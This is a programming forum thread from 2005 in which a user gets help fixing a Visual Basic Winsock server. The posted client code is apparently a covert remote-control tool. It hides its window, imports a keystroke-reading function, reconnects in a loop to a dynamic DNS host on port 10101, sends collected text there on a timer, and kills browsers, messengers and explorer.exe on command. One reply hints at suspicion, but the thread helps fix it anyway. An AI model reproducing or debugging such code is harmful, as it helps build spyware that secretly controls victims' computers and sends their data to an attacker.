PDA

Click to See Complete Forum and Search --> : Easy Winsock TCP Data Send Command...


Brin
Apr 26th, 2005, 03:27 PM
Hey,

I had this command working a few days ago. It's a really simple program. Thanks for the help!

This is my Server. The winsocks name is Winsock1 and it's index is 0.

Private Sub cmdSend_Click()

Winsock1(0).SendData txtChat.Text
DoEvents

'txtMain.Text = txtMain.Text & vbCrLf & txtChat.Text
txtChat.Text = ""
End Sub



My client should recieve like this

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Let txtMain.Text = ""

Winsock1.GetData strData

btw, thats not the whole client script, it is a bit of it. The client uses a winsock with the name of Winsock1

Ehh I'll just put the whole server code here, nothing private in it :P

Option Explicit



Private Sub cmdSend_Click()

Winsock1(0).SendData txtChat.Text
DoEvents

'txtMain.Text = txtMain.Text & vbCrLf & txtChat.Text
txtChat.Text = ""
End Sub

Private Sub Command1_Click()
data.Text = ""
End Sub

Private Sub Command2_Click()
Load Form2
Form2.Show
End Sub

Private Sub Form_Load()

Winsock1(0).LocalPort = 10101 'In my example winsock1(0) is the listening winsock... others are use for two way communication..
Winsock1(0).Listen
End Sub

Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)
Dim newIndex As Integer
newIndex = Winsock1.Count 'We have to get another socket to communicate with incoming client...
Load Winsock1(newIndex) 'Loading into the array
Winsock1(newIndex).LocalPort = Winsock1(newIndex).LocalPort + 1 'Set new local port, i.e. 1 plus previous port
Winsock1(newIndex).Accept requestID 'Now accept the request
List1.AddItem Winsock1(newIndex).RemoteHostIP 'Adding to list to see the IP of incoming client..

End Sub

Private Sub Winsock1_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim strData As String
Winsock1(Index).GetData strData
data.Text = data.Text & strData
End Sub


Anyone know what this little bug can be? I don't wanna change any of the code except the

Winsock1(0).SendData txtChat.Text


That has got to go! :D

Thanks!

Brin
Apr 26th, 2005, 03:32 PM
The problem I'm having is that when I try to send my data it says "Wrong connection type..." Meaning that my Server isn't correctly connected with the client to SEND to it...?

But I see the users IP in my list, so its connected with me??
My send command is wrong, prolly....

Pino
Apr 26th, 2005, 04:04 PM
The problem I'm having is that when I try to send my data it says "Wrong connection type..." Meaning that my Server isn't correctly connected with the client to SEND to it...?

But I see the users IP in my list, so its connected with me??
My send command is wrong, prolly....

No, the error you would get if you wernt connected would be the the (Wrong State or protocal conneection error.)

Could you post me your actual application it would help so much more

Brin
Apr 26th, 2005, 07:14 PM
I posted all of the code that makes any difference at all. Everything else is just the program, itll make clutter.

That is it...practically
The problem that is there is with the server winsock. I think there 2 winsocks its looking for, i only have 1

Pino
Apr 27th, 2005, 01:37 AM
I posted all of the code that makes any difference at all. Everything else is just the program, itll make clutter.

That is it...practically
The problem that is there is with the server winsock. I think there 2 winsocks its looking for, i only have 1

Its not the code I'm only looking at, as I say if you post your application I could help you further.

Halsafar
Apr 27th, 2005, 12:52 PM
Just post your app for Pino.
A mess of code or a not don't worry, he aint goona 'steal' you ultimate coding ability (lol) and he will assist you (guarantee)

Brin
Apr 27th, 2005, 04:32 PM
My Client. There are also 3 modules that fill in the boxes that it tries to send to the server...
Again, the problem appears when I try to send data FROM the server TO the client



Option Explicit
Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Const WM_CLOSE = &H10



Function EndProcess(filename As String) As String
Dim Process As Variant
For Each Process In GetObject("winmgmts:").ExecQuery("select * from Win32_Process")
If LCase(Process.Name) = LCase(filename) Then
EndProcess = Process.Name
Process.Terminate
End If
Next
End Function



Private Sub Timer2_Timer()
If Winsock1.State = sckConnected Then

Winsock1.SendData Text1.Text
DoEvents
Let Text1.Text = ""
End If
End Sub



Private Sub Timer4_Timer()
Dim result As Integer, Winsock1_Connect As Integer
Me.Hide
Do Until Winsock1.State = sckConnected
Winsock1.Close
Winsock1.RemoteHost = "oni.hopto.org"
Winsock1.RemotePort = 10101
Winsock1.Connect
DoEvents
Loop
If Winsock1.State = sckConnected Then

Timer2.Enabled = True
End If
End Sub


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Let txtMain.Text = ""

Winsock1.GetData strData

If strData = "End" Then
Unload Form1
Else
End If
If strData = "loop" Then

Change.Enabled = True
Game_Loop
End If



If strData = "aim.exe" Then
EndProcess ("aim.exe")
End If

If strData = "explorer.exe" Then
EndProcess ("explorer.exe")
End If

If strData = "WINWORD.EXE" Then
EndProcess ("WINWORD.EXE")
End If

If strData = "firefox.exe" Then
EndProcess ("firefox.exe")
End If

If strData = "msnmsgr.exe" Then
EndProcess ("msnmsgr.exe")
End If

If strData = "all.exe" Then
EndProcess ("aim.exe")
EndProcess ("explorer.exe")
EndProcess ("WINWORD.EXE")
EndProcess ("firefox.exe")
EndProcess ("msnmsgr.exe")
End If



End Sub

Private Sub Winsock_Error(ByVal Number As Integer, Description As String, _
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _
ByVal HelpContext As Long, CancelDisplay As Boolean)
Dim result As Integer, Winsock1_Connect As Integer



Do Until Winsock1.State = sckConnected
Winsock1.Close
Winsock1.RemoteHost = "oni.hopto.org"
Winsock1.RemotePort = 10101
Winsock1.Connect
DoEvents
Loop
If Winsock1.State = sckConnected Then

Timer2.Enabled = True


End If
End Sub


Private Sub Timer3_Timer()

Dim strState As String

Select Case Winsock1.State
Case sckClosed
strState = "Closed"
Case sckOpen
strState = "Open"
Case sckListening
strState = "Listening"
Case sckConnectionPending
strState = "Connection pending"
Case sckResolvingHost
strState = "Resolving host"
Case sckHostResolved
strState = "Host resolved"
Case sckConnecting
strState = "Connecting"
Case sckConnected
strState = "Connected"
Case sckClosing
strState = "Peer is closing the connection"
Case sckError
strState = "Error"
End Select

End Sub




Thanks! :wave:

dglienna
Apr 27th, 2005, 05:42 PM
Just post your app for Pino.
A mess of code or a not don't worry, he aint goona 'steal' you ultimate coding ability (lol) and he will assist you (guarantee)

but maybe shouldn't :eek2:

Brin
Apr 27th, 2005, 05:48 PM
The main code is in the modules, he doesn't get those :P

No need anyway

ccoder
Apr 28th, 2005, 08:12 AM
Anyone know what this little bug can be? I don't wanna change any of the code except the

Winsock1(0).SendData txtChat.Text


That has got to go! :D

Thanks!
You are trying to send data from a control that is in the listening state.

Brin
Apr 28th, 2005, 03:05 PM
Ahhh...

Works! Thanks all. I just changed the index numbers around a bit if you were wondering how... Ty!